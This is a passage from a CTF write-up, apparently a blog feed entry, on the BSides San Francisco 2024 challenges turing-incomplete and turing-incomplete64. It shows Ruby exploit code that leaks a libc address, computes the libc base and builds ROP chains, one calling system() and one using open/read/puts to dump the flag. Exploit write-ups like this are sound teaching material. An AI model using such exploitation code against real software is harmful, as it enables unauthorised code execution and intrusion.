<p>Third, we leak a libc address (specifically, the return address). Knowing one address in <code class="language-plaintext highlighter-rouge">libc.so.6</code> will let us determine any other address in <code class="language-plaintext highlighter-rouge">libc.so.6</code>! So we move up to the return address then read it:</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># Keep progressing up to the return address</span>
<span class="n">s</span><span class="p">.</span><span class="nf">write</span><span class="p">(</span><span class="no">RIGHT</span> <span class="o">*</span> <span class="mi">40</span><span class="p">)</span>

<span class="c1"># Read the original return address, then go back so we can overwrite it</span>
<span class="no">ACTUAL_RETURN_ADDRESS</span> <span class="o">=</span> <span class="n">read_32_bits_right</span><span class="p">(</span><span class="n">s</span><span class="p">)</span>
<span class="n">s</span><span class="p">.</span><span class="nf">write</span><span class="p">(</span><span class="no">LEFT</span> <span class="o">*</span> <span class="mi">4</span><span class="p">)</span>
<span class="nb">puts</span> <span class="s1">'Return address on the stack: %x'</span> <span class="o">%</span> <span class="no">ACTUAL_RETURN_ADDRESS</span>

<span class="c1"># Calculate the base address (ie, start of libc) - that'll let us figure out</span>
<span class="c1"># where the functions we want are</span>
<span class="no">BASE_ADDRESS</span> <span class="o">=</span> <span class="p">(</span><span class="no">ACTUAL_RETURN_ADDRESS</span> <span class="o">-</span> <span class="no">RETURN_ADDRESS</span><span class="p">)</span>
<span class="nb">puts</span> <span class="s1">'Base address: %x'</span> <span class="o">%</span> <span class="no">BASE_ADDRESS</span>
</code></pre></div></div>

<h3 id="overwrite-the-return-address">Overwrite the return address</h3>

<p>And finally, we overwrite the return address (and ensuing stack addresses) with a very simple ROP chain:</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># Set up a small ROP chain to call system, then exit</span>
<span class="n">write_32_bits_right</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="no">BASE_ADDRESS</span> <span class="o">+</span> <span class="no">SYSTEM</span><span class="p">)</span> <span class="c1"># Return address (from main())</span>
<span class="n">write_32_bits_right</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="no">BASE_ADDRESS</span> <span class="o">+</span> <span class="no">EXIT</span><span class="p">)</span> <span class="c1"># Return address (from system())</span>
<span class="n">write_32_bits_right</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="no">COMMAND_ADDR</span><span class="p">)</span> <span class="c1"># First argument to system()</span>
<span class="n">write_32_bits_right</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span> <span class="c1"># Return address (from exit()) - unused</span>
<span class="n">write_32_bits_right</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span> <span class="c1"># First argument to exit()</span>
</code></pre></div></div>

<p>That’ll return to <code class="language-plaintext highlighter-rouge">system()</code>, with the first parameter set to the address of the command (that we leaked earlier). <code class="language-plaintext highlighter-rouge">system()</code> will run that command, then return into <code class="language-plaintext highlighter-rouge">exit()</code> and exit cleanly. That part isn’t necessary, I just like being polite!</p>

<p>That’s pretty much it! Check out the full solution to see how those functions work, if you like.</p>

<h2 id="turing-incomplete64"><code class="language-plaintext highlighter-rouge">turing-incomplete64</code></h2>

<p><code class="language-plaintext highlighter-rouge">turing-incomplete64</code> is compiled from the exact same source as <code class="language-plaintext highlighter-rouge">turing-incomplete</code>, the only different is that it’s compiled in 64-bit mode.</p>

<p>The exploit is largely the same as well. The numbers are different, but we leak the stack address and return address and everything identically. The only difference is the actual ROP payload:</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># Do a 3-element ROP chain - I don't know why system() isn't working, but this</span>
<span class="c1"># is!</span>

<span class="c1"># *** open(file, 0, 0)</span>
<span class="n">write_64_bits_right</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="no">BASE_ADDRESS</span> <span class="o">+</span> <span class="no">POP_RDI_RET</span><span class="p">)</span>
<span class="n">write_64_bits_right</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="no">COMMAND_ADDR</span><span class="p">)</span>

<span class="n">write_64_bits_right</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="no">BASE_ADDRESS</span> <span class="o">+</span> <span class="no">POP_RSI_RET</span><span class="p">)</span>
<span class="n">write_64_bits_right</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span>

<span class="n">write_64_bits_right</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="no">BASE_ADDRESS</span> <span class="o">+</span> <span class="no">POP_RCX_RET</span><span class="p">)</span>
<span class="n">write_64_bits_right</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span>

<span class="n">write_64_bits_right</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="no">BASE_ADDRESS</span> <span class="o">+</span> <span class="no">OPEN</span><span class="p">)</span>

<span class="c1"># *** read(5, buffer)</span>
<span class="n">write_64_bits_right</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="no">BASE_ADDRESS</span> <span class="o">+</span> <span class="no">POP_RDI_RET</span><span class="p">)</span>
<span class="n">write_64_bits_right</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="mi">5</span><span class="p">)</span>

<span class="n">write_64_bits_right</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="no">BASE_ADDRESS</span> <span class="o">+</span> <span class="no">POP_RSI_RET</span><span class="p">)</span>
<span class="n">write_64_bits_right</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="no">COMMAND_ADDR</span><span class="p">)</span>

<span class="n">write_64_bits_right</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="no">BASE_ADDRESS</span> <span class="o">+</span> <span class="no">POP_RCX_RET</span><span class="p">)</span>
<span class="n">write_64_bits_right</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="n">expected_flag</span><span class="p">().</span><span class="nf">length</span><span class="p">)</span>

<span class="n">write_64_bits_right</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="no">BASE_ADDRESS</span> <span class="o">+</span> <span class="no">READ</span><span class="p">)</span>

<span class="c1"># *** puts(buffer)</span>
<span class="n">write_64_bits_right</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="no">BASE_ADDRESS</span> <span class="o">+</span> <span class="no">POP_RDI_RET</span><span class="p">)</span>
<span class="n">write_64_bits_right</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="no">COMMAND_ADDR</span><span class="p">)</span>

<span class="n">write_64_bits_right</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="no">BASE_ADDRESS</span> <span class="o">+</span> <span class="no">PUTS</span><span class="p">)</span>

<span class="c1"># *** exit(0)</span>
<span class="n">write_64_bits_right</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="no">BASE_ADDRESS</span> <span class="o">+</span> <span class="no">POP_RDI_RET</span><span class="p">)</span>
<span class="n">write_64_bits_right</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span>

<span class="n">write_64_bits_right</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="no">BASE_ADDRESS</span> <span class="o">+</span> <span class="no">EXIT</span><span class="p">)</span>

<span class="c1"># Tell it we're quitting</span>
<span class="n">s</span><span class="p">.</span><span class="nf">write</span><span class="p">(</span><span class="s2">"q</span><span class="se">\n</span><span class="s2">"</span><span class="p">)</span>
</code></pre></div></div>

<p>The first thing you might notice is the <code class="language-plaintext highlighter-rouge">POP_RDI_RET</code> and <code class="language-plaintext highlighter-rouge">POP_RSI_RET</code> nonsense - that’s because the calling convention for amd64 passes arguments in <code class="language-plaintext highlighter-rouge">rdi</code>, <code class="language-plaintext highlighter-rouge">rsi</code>, <code class="language-plaintext highlighter-rouge">rdx</code>. That’s different from x86, which passes arguments on the stack (in most cases). So we need to use a variety of pop + ret functions to set up the registers for each function call.</p>

<p>The other thing you might notice is that we’re using <code class="language-plaintext highlighter-rouge">open</code> / <code class="language-plaintext highlighter-rouge">read</code> / <code class="language-plaintext highlighter-rouge">puts</code> instead of <code class="language-plaintext highlighter-rouge">system</code>. I don’t know why <code class="language-plaintext highlighter-rouge">popen</code> and <code class="language-plaintext highlighter-rouge">system</code> don’t work, but they would crash with a segfault. Those functions can be finnicky sometimes, so I didn’t spend a lot of time on them. I considered using <code class="language-plaintext highlighter-rouge">mprotect</code>, like I did with another challenge, but decided to take the easy approach - just read the file and print it.</p>

<p>And it worked!</p>

<h2 id="conclusion">Conclusion</h2>

<p>That’s it! Hope you enjoyed this write-up!</p>]]></content><author><name>ron</name></author><category term="bsidessf-2024" /><category term="ctfs" /><summary type="html"><![CDATA[This is a write-up for turing-complete, turing-incomplete, and turing-incomplete64 from the BSides San Francisco 2024 CTF! turing-complete is a 101-level reversing challenge, and turing-incomplete is a much more difficult exploitation challenge with a very similar structure. turing-incomplete64 is a 64-bit version of turing-incomplete, which isn’t necessarily harder, but is different. Let’s look at the levels!]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://www.skullsecurity.org/assets/skullsecurity.jpg" /><media:content medium="image" url="https://www.skullsecurity.org/assets/skullsecurity.jpg" xmlns:media="http://search.yahoo.com/mrss/" /></entry></feed>